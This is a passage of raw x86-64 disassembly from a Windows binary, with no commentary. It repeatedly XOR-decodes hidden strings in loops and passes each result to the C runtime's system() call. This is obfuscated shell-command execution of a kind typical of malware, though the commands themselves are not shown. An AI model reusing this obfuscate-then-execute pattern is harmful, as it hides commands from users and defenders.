movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x98
jl 0x140054030
jmp 0x14005415d
mov r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x98
jl 0x140054130
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x89ea]
lea rcx, [rbp + 0x6d]
mov byte [rbp + 0x6d], al
call fcn.14006d760
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x1400542e4
mov r8d, esi
cmp r15d, 2
jl 0x1400542a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x1400541b0
cmp r8d, 0x99
jge 0x1400542e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x99
jl 0x1400542b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x852f]
lea rcx, [rbp + 0x6e]
mov byte [rbp + 0x6e], al
call fcn.14006d7f0
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x140054464
mov r8d, esi
cmp r15d, 2
jl 0x140054429
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140054330
cmp r8d, 0x97
jge 0x140054464
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x140054430
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x7af8]
lea rcx, [rbp + 0x6f]
mov byte [rbp + 0x6f], al
call fcn.14006d880
mov r10, rax
cmp byte [rax + 0x88], 0
je 0x1400545e4
mov r8d, esi
cmp r15d, 2
jl 0x1400545a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x88
jl 0x1400544b0
cmp r8d, 0x89
jge 0x1400545e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x89
jl 0x1400545b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8a83]
lea rcx, [rbp + 0x70]
mov byte [rbp + 0x70], al
call fcn.14006d900
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x140054764
mov r8d, esi
cmp r15d, 2
jl 0x140054729
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x98
jl 0x140054630
cmp r8d, 0x99
jge 0x140054764
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x99
jl 0x140054730
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8241]
lea rcx, [rbp + 0x71]
mov byte [rbp + 0x71], al
call fcn.14006d990
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x1400548e4
mov r8d, esi
cmp r15d, 2
jl 0x1400548a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x1400547b0
cmp r8d, 0x96
jge 0x1400548e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x1400548b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x82d7]
lea rcx, [rbp + 0x72]
mov byte [rbp + 0x72], al
call fcn.14006da20
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140054a64
mov r8d, esi
cmp r15d, 2
jl 0x140054a29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140054930
cmp r8d, 0x96
jge 0x140054a64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140054a30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x836d]
lea rcx, [rbp + 0x73]
mov byte [rbp + 0x73], al
call fcn.14006dab0
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140054be4
mov r8d, esi
cmp r15d, 2
jl 0x140054ba9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140054ab0
cmp r8d, 0x96
jge 0x140054be4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140054bb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8403]
lea rcx, [rbp + 0x74]
mov byte [rbp + 0x74], al
call fcn.14006db40
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140054d64
mov r8d, esi
cmp r15d, 2
jl 0x140054d29
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140054c30
cmp r8d, 0x96
jge 0x140054d64
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x96
jl 0x140054d30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x70f9]
lea rcx, [rbp + 0x75]
mov byte [rbp + 0x75], al
call fcn.14006dbd0
mov r10, rax
cmp byte [rax + 0x7a], 0
je 0x140054ee1
mov r8d, esi
cmp r15d, 2
jl 0x140054ea3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140054db0
cmp r8d, 0x7b
jge 0x140054ee1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x7b
jl 0x140054eb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x745a]
lea rcx, [rbp + 0x76]
mov byte [rbp + 0x76], al
call fcn.14006dc50
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x140055061
mov r8d, esi
cmp r15d, 2
jl 0x140055023
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x78
jl 0x140054f30
cmp r8d, 0x7d
jge 0x140055061
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x7d
jl 0x140055030
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x9939]
lea rcx, [rbp + 0x77]
mov byte [rbp + 0x77], al
call fcn.14006dcc0
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x1400551e4
mov r8d, esi
cmp r15d, 2
jl 0x1400551a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0xa0
jl 0x1400550b0
cmp r8d, 0xa1
jge 0x1400551e4
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0xa1
jl 0x1400551b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x85c6]
lea rcx, [rbp + 0x78]
mov byte [rbp + 0x78], al
call fcn.14006dd40
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x140055364
mov r8d, esi
cmp r15d, 2
jl 0x140055329
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x90
jl 0x140055230
cmp r8d, 0x97
jge 0x140055364
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, 0x97
jl 0x140055330
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x8ebb]
lea rcx, [rbp + 0x79]
mov byte [rbp + 0x79], al
call fcn.14006ddd0
mov r10, rax
cmp byte [rax + 0x9b], 0
je 0x1400554e4
mov r8d, esi
cmp r15d, 2
jl 0x1400554a9
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
